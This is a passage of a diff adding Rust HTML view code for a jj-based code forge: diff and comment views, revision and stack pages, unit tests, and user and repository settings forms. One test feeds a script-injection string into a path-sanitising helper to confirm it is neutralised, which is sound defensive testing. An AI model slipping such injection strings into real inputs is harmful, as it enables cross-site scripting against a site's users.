| 460 | + | let n_orph = e.payload.get("orphaned").and_then(|v| v.as_i64()).unwrap_or(0); | |
| 461 | + | format!("comments re-anchored onto the new revision — {n_out} outdated, {n_orph} orphaned") | |
| 462 | + | } | |
| 463 | + | other => format!("{who}: {other}"), | |
| 464 | + | } | |
| 465 | + | } | |
| 466 | + | ||
| 467 | + | // ─── files ─────────────────────────────────────────────────────────────────── | |
| 468 | + | ||
| 469 | + | pub struct FilesView<'a> { | |
| 470 | + | pub diff: Option<&'a Diff>, | |
| 471 | + | /// Inline comments, grouped by `(path, line)` on the new side. | |
| 472 | + | pub comments: &'a [CommentRow], | |
| 473 | + | /// The revision being viewed. | |
| 474 | + | pub rev: &'a str, | |
| 475 | + | /// What it is being compared against — a revision, or the parent. | |
| 476 | + | pub against: Option<&'a str>, | |
| 477 | + | /// Every revision of the change, for the compare selectors. | |
| 478 | + | pub revisions: &'a [(i32, String)], | |
| 479 | + | } | |
| 480 | + | ||
| 481 | + | pub fn files(ctx: &RepoContext, c: &ChangeHead<'_>, f: FilesView<'_>) -> Markup { | |
| 482 | + | let base = format!("{}/changes/{}", ctx.base(), c.number); | |
| 483 | + | ||
| 484 | + | html! { | |
| 485 | + | div .panel { | |
| 486 | + | // Revision-to-revision diffing (M4): compare any two revisions of | |
| 487 | + | // the change, which is what makes "what changed since I reviewed" | |
| 488 | + | // answerable at all. | |
| 489 | + | form method="get" action=(format!("{base}/files")) .row style="gap:10px;flex-wrap:wrap" { | |
| 490 | + | label for="against" .label-condensed { "Compare" } | |
| 491 | + | select id="against" name="against" { | |
| 492 | + | option value="" selected[f.against.is_none()] { "against the parent" } | |
| 493 | + | @for (seq, rev) in f.revisions { | |
| 494 | + | option value=(rev) selected[f.against == Some(rev.as_str())] { | |
| 495 | + | "v" (seq) " · " (df_store::abbreviate_rev(rev)) | |
| 496 | + | } | |
| 497 | + | } | |
| 498 | + | } | |
| 499 | + | label for="rev" .label-condensed { "of" } | |
| 500 | + | select id="rev" name="rev" { | |
| 501 | + | @for (seq, rev) in f.revisions { | |
| 502 | + | option value=(rev) selected[f.rev == rev] { | |
| 503 | + | "v" (seq) " · " (df_store::abbreviate_rev(rev)) | |
| 504 | + | } | |
| 505 | + | } | |
| 506 | + | } | |
| 507 | + | button .btn type="submit" { "Show" } | |
| 508 | + | } | |
| 509 | + | } | |
| 510 | + | ||
| 511 | + | @match f.diff { | |
| 512 | + | None => div .panel { div .empty { h2 { "Nothing to show" } p { "This change has no revisions yet." } } }, | |
| 513 | + | Some(d) => (diff_with_comments(d, f.comments, c, &base, f.rev)), | |
| 514 | + | } | |
| 515 | + | } | |
| 516 | + | } | |
| 517 | + | ||
| 518 | + | /// The diff, with inline comment threads under the lines they anchor to. | |
| 519 | + | pub fn diff_with_comments( | |
| 520 | + | diff: &Diff, | |
| 521 | + | comments: &[CommentRow], | |
| 522 | + | c: &ChangeHead<'_>, | |
| 523 | + | base: &str, | |
| 524 | + | rev: &str, | |
| 525 | + | ) -> Markup { | |
| 526 | + | html! { | |
| 527 | + | div .panel { | |
| 528 | + | div .row style="margin-bottom:12px" { | |
| 529 | + | h2 style="margin:0" { "Files changed" } | |
| 530 | + | span .faint { (diff.files.len()) " file(s)" } | |
| 531 | + | span style="color:var(--diff-add-text)" { "+" (diff.total_additions) } | |
| 532 | + | span style="color:var(--diff-del-text)" { "−" (diff.total_deletions) } | |
| 533 | + | } | |
| 534 | + | ||
| 535 | + | @if diff.truncated { | |
| 536 | + | div .banner.banner-error role="alert" { | |
| 537 | + | "This diff exceeds the render limits and is shown in part. \ | |
| 538 | + | Fetch the revision with " code { "jj" } " to read it in full." | |
| 539 | + | } | |
| 540 | + | } | |
| 541 | + | ||
| 542 | + | @if diff.files.is_empty() { | |
| 543 | + | p .dim { "No changes." } | |
| 544 | + | } | |
| 545 | + | ||
| 546 | + | @for file in &diff.files { | |
| 547 | + | div .filediff { | |
| 548 | + | div .row .filediff-head id=(format!("f-{}", path_anchor(&file.path))) { | |
| 549 | + | span .mono { (file.path) } | |
| 550 | + | @if let Some(old) = &file.old_path { span .faint { " ← " (old) } } | |
| 551 | + | span .faint style="margin-left:auto" { | |
| 552 | + | "+" (file.additions) " −" (file.deletions) | |
| 553 | + | } | |
| 554 | + | } | |
| 555 | + | ||
| 556 | + | @if file.binary { | |
| 557 | + | p .dim style="padding:10px" { "Binary file not shown." } | |
| 558 | + | } @else { | |
| 559 | + | table .mono .difftable { | |
| 560 | + | tbody { | |
| 561 | + | @for hunk in &file.hunks { | |
| 562 | + | tr .hunkhead { | |
| 563 | + | td colspan="3" { | |
| 564 | + | "@@ -" (hunk.old_start) "," (hunk.old_lines) | |
| 565 | + | " +" (hunk.new_start) "," (hunk.new_lines) " @@" | |
| 566 | + | } | |
| 567 | + | } | |
| 568 | + | @for l in &hunk.lines { | |
| 569 | + | tr .(line_class(l.kind)) { | |
| 570 | + | td .faint .lineno { @if let Some(n) = l.old_lineno { (n) } } | |
| 571 | + | td .faint .lineno { @if let Some(n) = l.new_lineno { (n) } } | |
| 572 | + | td .codeline { | |
| 573 | + | (marker(l.kind)) | |
| 574 | + | (spans(&l.spans, l.kind)) | |
| 575 | + | } | |
| 576 | + | } | |
| 577 | + | ||
| 578 | + | // Threads anchored to this line, then the | |
| 579 | + | // form to add one. Both are plain HTML. | |
| 580 | + | @if let Some(n) = l.new_lineno { | |
| 581 | + | @let here: Vec<&CommentRow> = comments | |
| 582 | + | .iter() | |
| 583 | + | .filter(|cm| { | |
| 584 | + | cm.anchor_path.as_deref() == Some(file.path.as_str()) | |
| 585 | + | && cm.anchor_line == Some(n as i32) | |
| 586 | + | }) | |
| 587 | + | .collect(); | |
| 588 | + | @if !here.is_empty() { | |
| 589 | + | tr { td colspan="3" .inline-thread { | |
| 590 | + | @for cm in here { (comment(cm, c, base, false)) } | |
| 591 | + | } } | |
| 592 | + | } | |
| 593 | + | @if c.can_comment { | |
| 594 | + | tr { td colspan="3" .inline-form { | |
| 595 | + | details { | |
| 596 | + | summary .faint { "Comment on line " (n) } | |
| 597 | + | form method="post" | |
| 598 | + | action=(format!("{base}/comments")) .stack { | |
| 599 | + | input type="hidden" name="_csrf" value=(c.csrf); | |
| 600 | + | input type="hidden" name="path" value=(file.path); | |
| 601 | + | input type="hidden" name="line" value=(n); | |
| 602 | + | input type="hidden" name="side" value="new"; | |
| 603 | + | input type="hidden" name="rev" value=(rev); | |
| 604 | + | input type="hidden" name="context" value=(l.content); | |
| 605 | + | textarea name="body" rows="3" required {} | |
| 606 | + | button .btn.btn-primary type="submit" { "Comment" } | |
| 607 | + | } | |
| 608 | + | } | |
| 609 | + | } } | |
| 610 | + | } | |
| 611 | + | } | |
| 612 | + | } | |
| 613 | + | } | |
| 614 | + | } | |
| 615 | + | } | |
| 616 | + | } | |
| 617 | + | } | |
| 618 | + | } | |
| 619 | + | } | |
| 620 | + | } | |
| 621 | + | } | |
| 622 | + | ||
| 623 | + | /// Render a line's word-level spans (spec §8). | |
| 624 | + | fn spans(spans: &[DiffSpan], kind: DiffLineKind) -> Markup { | |
| 625 | + | html! { | |
| 626 | + | @for s in spans { | |
| 627 | + | @if s.emphasis && !matches!(kind, DiffLineKind::Context) { | |
| 628 | + | span .word-changed { (s.text) } | |
| 629 | + | } @else { | |
| 630 | + | (s.text) | |
| 631 | + | } | |
| 632 | + | } | |
| 633 | + | } | |
| 634 | + | } | |
| 635 | + | ||
| 636 | + | // ─── revisions ─────────────────────────────────────────────────────────────── | |
| 637 | + | ||
| 638 | + | pub struct RevisionDetail { | |
| 639 | + | pub seq: i32, | |
| 640 | + | pub rev: String, | |
| 641 | + | pub message: String, | |
| 642 | + | pub author_name: String, | |
| 643 | + | pub pushed_at: DateTime<Utc>, | |
| 644 | + | pub conflicted: bool, | |
| 645 | + | pub pushed_by: Option<String>, | |
| 646 | + | } | |
| 647 | + | ||
| 648 | + | pub fn revisions(ctx: &RepoContext, c: &ChangeHead<'_>, revs: &[RevisionDetail]) -> Markup { | |
| 649 | + | let base = format!("{}/changes/{}", ctx.base(), c.number); | |
| 650 | + | html! { | |
| 651 | + | div .panel { | |
| 652 | + | h2 { "Revisions" } | |
| 653 | + | p .dim { | |
| 654 | + | "Each rewrite of this change appends a revision. The review, and every \ | |
| 655 | + | comment on it, stays attached to the change — this is the thing a \ | |
| 656 | + | branch-based forge cannot do." | |
| 657 | + | } | |
| 658 | + | ||
| 659 | + | table .listing { | |
| 660 | + | thead { tr { th scope="col" { "" } th scope="col" { "Revision" } th scope="col" { "Summary" } th scope="col" { "Pushed" } th scope="col" { "" } } } | |
| 661 | + | tbody { | |
| 662 | + | @for (i, r) in revs.iter().enumerate() { | |
| 663 | + | tr { | |
| 664 | + | td .faint { "v" (r.seq) } | |
| 665 | + | td { | |
| 666 | + | a .mono href=(format!("{}/tree/{}/", ctx.base(), r.rev)) { | |
| 667 | + | (df_store::abbreviate_rev(&r.rev)) | |
| 668 | + | } | |
| 669 | + | @if r.conflicted { | |
| 670 | + | " " span .badge.badge-conflict { "conflict" } | |
| 671 | + | } | |
| 672 | + | } | |
| 673 | + | td { (first_line(&r.message)) } | |
| 674 | + | td .faint { | |
| 675 | + | (r.pushed_at.format("%Y-%m-%d %H:%M").to_string()) | |
| 676 | + | @if let Some(p) = &r.pushed_by { " by " (p) } | |
| 677 | + | @if r.author_name != *p_or_empty(&r.pushed_by) { | |
| 678 | + | " · authored by " (r.author_name) | |
| 679 | + | } | |
| 680 | + | } | |
| 681 | + | td { | |
| 682 | + | a .btn href=(format!("{base}/files?rev={}", r.rev)) { "Diff" } | |
| 683 | + | @if i > 0 { | |
| 684 | + | " " | |
| 685 | + | a .btn href=(format!( | |
| 686 | + | "{base}/files?rev={}&against={}", r.rev, revs[i - 1].rev | |
| 687 | + | )) { "vs v" (revs[i - 1].seq) } | |
| 688 | + | } | |
| 689 | + | } | |
| 690 | + | } | |
| 691 | + | } | |
| 692 | + | } | |
| 693 | + | } | |
| 694 | + | } | |
| 695 | + | } | |
| 696 | + | } | |
| 697 | + | ||
| 698 | + | fn p_or_empty(s: &Option<String>) -> &str { | |
| 699 | + | s.as_deref().unwrap_or("") | |
| 700 | + | } | |
| 701 | + | ||
| 702 | + | // ─── conflicts (M4) ────────────────────────────────────────────────────────── | |
| 703 | + | ||
| 704 | + | pub fn conflicts(_ctx: &RepoContext, _c: &ChangeHead<'_>, files: &[ConflictedFile]) -> Markup { | |
| 705 | + | html! { | |
| 706 | + | div .panel { | |
| 707 | + | h2 { "Conflicts" } | |
| 708 | + | p .dim { | |
| 709 | + | "Dogfood shows conflicts read-only. Resolve them in your working copy \ | |
| 710 | + | with " code { "jj resolve" } " and push again — the change, this review, \ | |
| 711 | + | and every comment on it stay where they are." | |
| 712 | + | } | |
| 713 | + | ||
| 714 | + | @if files.is_empty() { | |
| 715 | + | p .hint { | |
| 716 | + | "The head revision is marked conflicted but no conflicted file could \ | |
| 717 | + | be read. This usually means the conflict is structural — a delete \ | |
| 718 | + | against a modify at the directory level." | |
| 719 | + | } | |
| 720 | + | } | |
| 721 | + | ||
| 722 | + | @for f in files { | |
| 723 | + | div .filediff { | |
| 724 | + | div .row .filediff-head { span .mono { (f.path) } } | |
| 725 | + | div .conflict-columns { | |
| 726 | + | @for (label, content) in &f.sides { | |
| 727 | + | div .conflict-side .conflict-base[label.is_base()] { | |
| 728 | + | div .label-condensed { (label.label()) } | |
| 729 | + | @match content { | |
| 730 | + | // A column that does not contain the file at | |
| 731 | + | // all is a delete/modify conflict, and saying | |
| 732 | + | // so is the whole point of showing it. | |
| 733 | + | None => p .hint { "not present in this side" }, | |
| 734 | + | Some(text) => pre { code { (text) } }, | |
| 735 | + | } | |
| 736 | + | } | |
| 737 | + | } | |
| 738 | + | } | |
| 739 | + | } | |
| 740 | + | } | |
| 741 | + | } | |
| 742 | + | } | |
| 743 | + | } | |
| 744 | + | ||
| 745 | + | // ─── stack graph (M4) ──────────────────────────────────────────────────────── | |
| 746 | + | ||
| 747 | + | pub struct StackNode { | |
| 748 | + | pub number: i64, | |
| 749 | + | pub change_id: String, | |
| 750 | + | pub synthetic: bool, | |
| 751 | + | pub title: String, | |
| 752 | + | pub state: String, | |
| 753 | + | pub conflicted: bool, | |
| 754 | + | pub is_current: bool, | |
| 755 | + | /// Depth from the bottom of the stack, for indentation. | |
| 756 | + | pub depth: usize, | |
| 757 | + | } | |
| 758 | + | ||
| 759 | + | pub fn stack(ctx: &RepoContext, nodes: &[StackNode], change_id: &str) -> Markup { | |
| 760 | + | let base = ctx.base(); | |
| 761 | + | html! { | |
| 762 | + | div .panel { | |
| 763 | + | h1 { "Stack" } | |
| 764 | + | p .lede { | |
| 765 | + | "A stack is a chain of changes where each builds on the one below and \ | |
| 766 | + | none has landed yet. Edges are computed at index time from the commit \ | |
| 767 | + | graph, so a rebase moves the whole stack without breaking it." | |
| 768 | + | } | |
| 769 | + | ||
| 770 | + | @if nodes.len() <= 1 { | |
| 771 | + | div .empty { | |
| 772 | + | h2 { "Not stacked" } | |
| 773 | + | p { "This change does not sit in a stack." } | |
| 774 | + | p { a .btn href=(format!("{base}/changes/{change_id}")) { "Back to the change" } } | |
| 775 | + | } | |
| 776 | + | } @else { | |
| 777 | + | // Top of the stack first — that is how jj log reads, and the | |
| 778 | + | // change a reviewer is looking at is usually near the top. | |
| 779 | + | ol .stackgraph { | |
| 780 | + | @for n in nodes.iter().rev() { | |
| 781 | + | li .stacknode .current[n.is_current] style=(format!("margin-left:{}px", n.depth * 18)) { | |
| 782 | + | div .row { | |
| 783 | + | (state_badge(&n.state, n.conflicted)) | |
| 784 | + | a href=(format!("{base}/changes/{}", n.number)) { (n.title) } | |
| 785 | + | @if n.is_current { span .chip { "you are here" } } | |
| 786 | + | } | |
| 787 | + | div .row style="margin-top:4px;gap:8px" { | |
| 788 | + | (change_chip(&n.change_id, n.synthetic)) | |
| 789 | + | span .faint { "#" (n.number) } | |
| 790 | + | } | |
| 791 | + | } | |
| 792 | + | } | |
| 793 | + | } | |
| 794 | + | ||
| 795 | + | p .hint { | |
| 796 | + | "Merging the bottom of a stack lands only that change. \ | |
| 797 | + | Use " strong { "Merge stack" } " to land the whole chain bottom-up." | |
| 798 | + | } | |
| 799 | + | } | |
| 800 | + | } | |
| 801 | + | } | |
| 802 | + | } | |
| 803 | + | ||
| 804 | + | // ─── helpers ───────────────────────────────────────────────────────────────── | |
| 805 | + | ||
| 806 | + | fn line_class(kind: DiffLineKind) -> &'static str { | |
| 807 | + | match kind { | |
| 808 | + | DiffLineKind::Added => "line-add", | |
| 809 | + | DiffLineKind::Deleted => "line-del", | |
| 810 | + | DiffLineKind::Context => "line-ctx", | |
| 811 | + | } | |
| 812 | + | } | |
| 813 | + | ||
| 814 | + | fn marker(kind: DiffLineKind) -> &'static str { | |
| 815 | + | match kind { | |
| 816 | + | DiffLineKind::Added => "+", | |
| 817 | + | DiffLineKind::Deleted => "-", | |
| 818 | + | DiffLineKind::Context => " ", | |
| 819 | + | } | |
| 820 | + | } | |
| 821 | + | ||
| 822 | + | fn first_line(s: &str) -> &str { | |
| 823 | + | s.lines().next().unwrap_or("").trim() | |
| 824 | + | } | |
| 825 | + | ||
| 826 | + | /// A path turned into a fragment-safe anchor. | |
| 827 | + | fn path_anchor(path: &str) -> String { | |
| 828 | + | path.chars() | |
| 829 | + | .map(|c| if c.is_ascii_alphanumeric() { c } else { '-' }) | |
| 830 | + | .collect() | |
| 831 | + | } | |
| 832 | + | ||
| 833 | + | #[cfg(test)] | |
| 834 | + | mod tests { | |
| 835 | + | use super::*; | |
| 836 | + | ||
| 837 | + | fn ev(kind: &str, payload: serde_json::Value) -> EventRow { | |
| 838 | + | EventRow { | |
| 839 | + | kind: kind.into(), | |
| 840 | + | actor: Some("alice".into()), | |
| 841 | + | created_at: Utc::now(), | |
| 842 | + | payload, | |
| 843 | + | } | |
| 844 | + | } | |
| 845 | + | ||
| 846 | + | #[test] | |
| 847 | + | fn known_events_read_as_sentences() { | |
| 848 | + | assert_eq!( | |
| 849 | + | event_text(&ev("change.merged", serde_json::json!({"bookmark": "main"}))), | |
| 850 | + | "alice merged this into main" | |
| 851 | + | ); | |
| 852 | + | assert_eq!( | |
| 853 | + | event_text(&ev("change.opened", serde_json::json!({}))), | |
| 854 | + | "alice opened this change" | |
| 855 | + | ); | |
| 856 | + | } | |
| 857 | + | ||
| 858 | + | /// An event the UI does not know about still happened. Dropping it would | |
| 859 | + | /// make the timeline quietly incomplete, which is worse than an ugly line. | |
| 860 | + | #[test] | |
| 861 | + | fn unknown_events_are_shown_rather_than_hidden() { | |
| 862 | + | let text = event_text(&ev("something.new", serde_json::json!({}))); | |
| 863 | + | assert!(text.contains("something.new"), "{text}"); | |
| 864 | + | } | |
| 865 | + | ||
| 866 | + | #[test] | |
| 867 | + | fn an_actorless_event_still_renders() { | |
| 868 | + | let mut e = ev("change.opened", serde_json::json!({})); | |
| 869 | + | e.actor = None; | |
| 870 | + | assert_eq!(event_text(&e), "someone opened this change"); | |
| 871 | + | } | |
| 872 | + | ||
| 873 | + | #[test] | |
| 874 | + | fn revision_abbreviation_goes_through_the_store() { | |
| 875 | + | // Spec §3 rule 2: RevId is opaque and abbreviation lives in df-store. | |
| 876 | + | let text = event_text(&ev( | |
| 877 | + | "change.pushed", | |
| 878 | + | serde_json::json!({"rev": "0123456789abcdef0123456789abcdef01234567"}), | |
| 879 | + | )); | |
| 880 | + | assert!(text.ends_with("0123456789ab"), "{text}"); | |
| 881 | + | } | |
| 882 | + | ||
| 883 | + | #[test] | |
| 884 | + | fn path_anchors_cannot_break_out_of_a_fragment() { | |
| 885 | + | assert_eq!(path_anchor("src/a b.rs"), "src-a-b-rs"); | |
| 886 | + | assert_eq!(path_anchor("a\"><script>"), "a---script-"); | |
| 887 | + | } | |
| 888 | + | } | |
Acrates/df-web/src/views/settings.rs544 lines+544−0
| @@ −0,0 +1,544 @@ | |||
| 1 | + | //! Settings pages — the user's own, and a repository's (spec §7). | |
| 2 | + | //! | |
| 3 | + | //! Every form here is a plain `<form method="post">`. Spec §7 makes progressive | |
| 4 | + | //! enhancement a hard requirement, and settings are exactly where a | |
| 5 | + | //! JavaScript-only affordance would be most annoying to hit. | |
| 6 | + | //! | |
| 7 | + | //! Note the deletion forms POST rather than sending `DELETE`. The spec's route | |
| 8 | + | //! table says `DELETE /settings/keys/{id}`, and that route exists for API | |
| 9 | + | //! clients — but browsers cannot emit it from a form without JavaScript, so the | |
| 10 | + | //! POST alias is what the UI uses. Both are registered; both do the same thing. | |
| 11 | + | ||
| 12 | + | use maud::{html, Markup}; | |
| 13 | + | ||
| 14 | + | use crate::repo_ctx::RepoContext; | |
| 15 | + | ||
| 16 | + | // ─── the user's own settings ───────────────────────────────────────────────── | |
| 17 | + | ||
| 18 | + | pub struct SshKeyRow { | |
| 19 | + | pub id: uuid::Uuid, | |
| 20 | + | pub name: String, | |
| 21 | + | pub key_type: String, | |
| 22 | + | pub fingerprint: String, | |
| 23 | + | pub last_used_at: Option<chrono::DateTime<chrono::Utc>>, | |
| 24 | + | } | |
| 25 | + | ||
| 26 | + | pub struct TokenRow { | |
| 27 | + | pub id: uuid::Uuid, | |
| 28 | + | pub name: String, | |
| 29 | + | pub prefix: String, | |
| 30 | + | pub expires_at: Option<chrono::DateTime<chrono::Utc>>, | |
| 31 | + | pub last_used_at: Option<chrono::DateTime<chrono::Utc>>, | |
| 32 | + | } | |
| 33 | + | ||
| 34 | + | pub struct UserSettings<'a> { | |
| 35 | + | pub user: &'a df_db::models::User, | |
| 36 | + | pub csrf: &'a str, | |
| 37 | + | pub keys: &'a [SshKeyRow], | |
| 38 | + | pub tokens: &'a [TokenRow], | |
| 39 | + | /// A token's plaintext, shown exactly once immediately after minting it. | |
| 40 | + | pub new_token: Option<&'a str>, | |
| 41 | + | pub error: Option<&'a str>, | |
| 42 | + | pub notice: Option<&'a str>, | |
| 43 | + | pub ssh_host: &'a str, | |
| 44 | + | } | |
| 45 | + | ||
| 46 | + | pub fn user_settings(s: UserSettings<'_>) -> Markup { | |
| 47 | + | html! { | |
| 48 | + | h1 { "Settings" } | |
| 49 | + | ||
| 50 | + | @if let Some(e) = s.error { div .banner.banner-error role="alert" { (e) } } | |
| 51 | + | @if let Some(n) = s.notice { div .banner.banner-ok role="status" { (n) } } | |
| 52 | + | ||
| 53 | + | div .panel { | |
| 54 | + | h2 { "Profile" } | |
| 55 | + | dl .kv { | |
| 56 | + | dt { "Handle" } dd { code { (s.user.handle) } } | |
| 57 | + | dt { "Name" } dd { (s.user.display_name.as_deref().unwrap_or("—")) } | |
| 58 | + | dt { "Email" } dd { (s.user.email.as_deref().unwrap_or("—")) } | |
| 59 | + | dt { "Role" } dd { @if s.user.is_admin { "Site administrator" } @else { "Member" } } | |
| 60 | + | } | |
| 61 | + | p .hint { | |
| 62 | + | "Your name and email come from the identity provider you sign in with, \ | |
| 63 | + | and change there rather than here." | |
| 64 | + | } | |
| 65 | + | } | |
| 66 | + | ||
| 67 | + | // ─── SSH keys ──────────────────────────────────────────────────────── | |
| 68 | + | div .panel { | |
| 69 | + | h2 { "SSH keys" } | |
| 70 | + | p .dim { | |
| 71 | + | "Push over SSH with " | |
| 72 | + | code { "jj git push" } " or " code { "git push" } ". Clone URLs look like " | |
| 73 | + | code { (s.ssh_host) } | |
| 74 | + | "." | |
| 75 | + | } | |
| 76 | + | ||
| 77 | + | @if s.keys.is_empty() { | |
| 78 | + | p .hint { "No keys yet." } | |
| 79 | + | } @else { | |
| 80 | + | table .listing { | |
| 81 | + | thead { | |
| 82 | + | tr { th scope="col" { "Name" } th scope="col" { "Fingerprint" } th scope="col" { "Last used" } th scope="col" {} } | |
| 83 | + | } | |
| 84 | + | tbody { | |
| 85 | + | @for k in s.keys { | |
| 86 | + | tr { | |
| 87 | + | td { (k.name) " " span .chip { (k.key_type) } } | |
| 88 | + | td { code .faint { (k.fingerprint) } } | |
| 89 | + | td .faint { (opt_date(k.last_used_at)) } | |
| 90 | + | td { | |
| 91 | + | form method="post" action=(format!("/settings/keys/{}/delete", k.id)) { | |
| 92 | + | input type="hidden" name="_csrf" value=(s.csrf); | |
| 93 | + | button .btn.btn-danger type="submit" { "Remove" } | |
| 94 | + | } | |
| 95 | + | } | |
| 96 | + | } | |
| 97 | + | } | |
| 98 | + | } | |
| 99 | + | } | |
| 100 | + | } | |
| 101 | + | ||
| 102 | + | form method="post" action="/settings/keys" .stack { | |
| 103 | + | input type="hidden" name="_csrf" value=(s.csrf); | |
| 104 | + | div .field { | |
| 105 | + | label for="key" { "New key" } | |
| 106 | + | textarea id="key" name="key" rows="4" required | |
| 107 | + | placeholder="ssh-ed25519 AAAA… you@your-machine" {} | |
| 108 | + | p .hint { | |
| 109 | + | "Paste the contents of your " | |
| 110 | + | code { ".pub" } | |
| 111 | + | " file — never the private key." | |
| 112 | + | } | |
| 113 | + | } | |
| 114 | + | div .field { | |
| 115 | + | label for="key_name" { "Name (optional)" } | |
| 116 | + | input type="text" id="key_name" name="name" maxlength="100" | |
| 117 | + | placeholder="taken from the key's comment"; | |
| 118 | + | } | |
| 119 | + | button .btn.btn-primary type="submit" { "Add key" } | |
| 120 | + | } | |
| 121 | + | } | |
| 122 | + | ||
| 123 | + | // ─── access tokens ─────────────────────────────────────────────────── | |
| 124 | + | div .panel { | |
| 125 | + | h2 { "Access tokens" } | |
| 126 | + | p .dim { | |
| 127 | + | "For Git over HTTPS. Use your handle as the username and the token as \ | |
| 128 | + | the password." | |
| 129 | + | } | |
| 130 | + | ||
| 131 | + | @if let Some(t) = s.new_token { | |
| 132 | + | div .banner.banner-ok role="status" { | |
| 133 | + | p { strong { "Copy this now — it is not shown again." } } | |
| 134 | + | div .clone-box { code { (t) } } | |
| 135 | + | } | |
| 136 | + | } | |
| 137 | + | ||
| 138 | + | @if s.tokens.is_empty() { | |
| 139 | + | p .hint { "No tokens yet." } | |
| 140 | + | } @else { | |
| 141 | + | table .listing { | |
| 142 | + | thead { | |
| 143 | + | tr { th scope="col" { "Name" } th scope="col" { "Prefix" } th scope="col" { "Expires" } th scope="col" { "Last used" } th scope="col" {} } | |
| 144 | + | } | |
| 145 | + | tbody { | |
| 146 | + | @for t in s.tokens { | |
| 147 | + | tr { | |
| 148 | + | td { (t.name) } | |
| 149 | + | td { code .faint { (t.prefix) "…" } } | |
| 150 | + | td .faint { (opt_date(t.expires_at)) } | |
| 151 | + | td .faint { (opt_date(t.last_used_at)) } | |
| 152 | + | td { | |
| 153 | + | form method="post" action=(format!("/settings/tokens/{}/delete", t.id)) { | |
| 154 | + | input type="hidden" name="_csrf" value=(s.csrf); | |
| 155 | + | button .btn.btn-danger type="submit" { "Revoke" } | |
| 156 | + | } | |
| 157 | + | } | |
| 158 | + | } | |
| 159 | + | } | |
| 160 | + | } | |
| 161 | + | } | |
| 162 | + | } | |
| 163 | + | ||
| 164 | + | form method="post" action="/settings/tokens" .stack { | |
| 165 | + | input type="hidden" name="_csrf" value=(s.csrf); | |
| 166 | + | div .field { | |
| 167 | + | label for="token_name" { "Name" } | |
| 168 | + | input type="text" id="token_name" name="name" required maxlength="100" | |
| 169 | + | placeholder="laptop"; | |
| 170 | + | } | |
| 171 | + | div .field { | |
| 172 | + | label for="expires_days" { "Expires in" } | |
| 173 | + | select id="expires_days" name="expires_days" { | |
| 174 | + | option value="30" { "30 days" } | |
| 175 | + | option value="90" selected { "90 days" } | |
| 176 | + | option value="365" { "1 year" } | |
| 177 | + | option value="0" { "Never" } | |
| 178 | + | } | |
| 179 | + | } | |
| 180 | + | button .btn.btn-primary type="submit" { "Generate token" } | |
| 181 | + | } | |
| 182 | + | } | |
| 183 | + | } | |
| 184 | + | } | |
| 185 | + | ||
| 186 | + | // ─── repository settings ───────────────────────────────────────────────────── | |
| 187 | + | ||
| 188 | + | pub struct CollaboratorRow { | |
| 189 | + | pub handle: String, | |
| 190 | + | pub role: df_db::models::RepoRole, | |
| 191 | + | } | |
| 192 | + | ||
| 193 | + | pub struct BookmarkRow { | |
| 194 | + | pub name: String, | |
| 195 | + | pub protected: bool, | |
| 196 | + | pub is_default: bool, | |
| 197 | + | } | |
| 198 | + | ||
| 199 | + | pub struct RepoSettings<'a> { | |
| 200 | + | pub ctx: &'a RepoContext, | |
| 201 | + | pub csrf: &'a str, | |
| 202 | + | pub tab: &'a str, | |
| 203 | + | pub collaborators: &'a [CollaboratorRow], | |
| 204 | + | pub bookmarks: &'a [BookmarkRow], | |
| 205 | + | pub size_bytes: u64, | |
| 206 | + | pub error: Option<&'a str>, | |
| 207 | + | pub notice: Option<&'a str>, | |
| 208 | + | } | |
| 209 | + | ||
| 210 | + | pub fn repo_settings(s: RepoSettings<'_>) -> Markup { | |
| 211 | + | let base = s.ctx.base(); | |
| 212 | + | let settings = format!("{base}/settings"); | |
| 213 | + | ||
| 214 | + | html! { | |
| 215 | + | @if let Some(e) = s.error { div .banner.banner-error role="alert" { (e) } } | |
| 216 | + | @if let Some(n) = s.notice { div .banner.banner-ok role="status" { (n) } } | |
| 217 | + | ||
| 218 | + | nav .subtabs aria-label="Settings sections" { | |
| 219 | + | @for (key, label) in [("general", "General"), ("collaborators", "Collaborators"), | |
| 220 | + | ("bookmarks", "Bookmarks"), ("danger", "Danger zone")] { | |
| 221 | + | a href=(format!("{settings}?tab={key}")) | |
| 222 | + | .active[s.tab == key] | |
| 223 | + | aria-current=[(s.tab == key).then_some("page")] { (label) } | |
| 224 | + | } | |
| 225 | + | } | |
| 226 | + | ||
| 227 | + | @match s.tab { | |
| 228 | + | "collaborators" => (collaborators_tab(&s)), | |
| 229 | + | "bookmarks" => (bookmarks_tab(&s)), | |
| 230 | + | "danger" => (danger_tab(&s)), | |
| 231 | + | _ => (general_tab(&s)), | |
| 232 | + | } | |
| 233 | + | } | |
| 234 | + | } | |
| 235 | + | ||
| 236 | + | fn general_tab(s: &RepoSettings<'_>) -> Markup { | |
| 237 | + | let action = format!("{}/settings/general", s.ctx.base()); | |
| 238 | + | let private = matches!(s.ctx.repo.visibility, df_db::models::Visibility::Private); | |
| 239 | + | ||
| 240 | + | html! { | |
| 241 | + | div .panel { | |
| 242 | + | h2 { "General" } | |
| 243 | + | form method="post" action=(action) .stack { | |
| 244 | + | input type="hidden" name="_csrf" value=(s.csrf); | |
| 245 | + | ||
| 246 | + | div .field { | |
| 247 | + | label for="description" { "Description" } | |
| 248 | + | input type="text" id="description" name="description" maxlength="500" | |
| 249 | + | value=(s.ctx.repo.description.as_deref().unwrap_or("")); | |
| 250 | + | } | |
| 251 | + | ||
| 252 | + | div .field { | |
| 253 | + | label for="default_bookmark" { "Default bookmark" } | |
| 254 | + | select id="default_bookmark" name="default_bookmark" { | |
| 255 | + | @for b in s.bookmarks { | |
| 256 | + | option value=(b.name) selected[b.is_default] { (b.name) } | |
| 257 | + | } | |
| 258 | + | // A repository with no pushes yet has no bookmark rows, | |
| 259 | + | // so keep the configured name selectable. | |
| 260 | + | @if s.bookmarks.is_empty() { | |
| 261 | + | option value=(s.ctx.repo.default_bookmark) selected { | |
| 262 | + | (s.ctx.repo.default_bookmark) | |
| 263 | + | } | |
| 264 | + | } | |
| 265 | + | } | |
| 266 | + | p .hint { "Where the code view opens, and what changes are measured against." } | |
| 267 | + | } | |
| 268 | + | ||
| 269 | + | div .field { | |
| 270 | + | label { | |
| 271 | + | input type="checkbox" name="private" value="1" checked[private]; | |
| 272 | + | " Private" | |
| 273 | + | } | |
| 274 | + | p .hint { | |
| 275 | + | "A private repository is invisible to everyone but its collaborators — \ | |
| 276 | + | it returns the same 404 a nonexistent repository does." | |
| 277 | + | } | |
| 278 | + | } | |
| 279 | + | ||
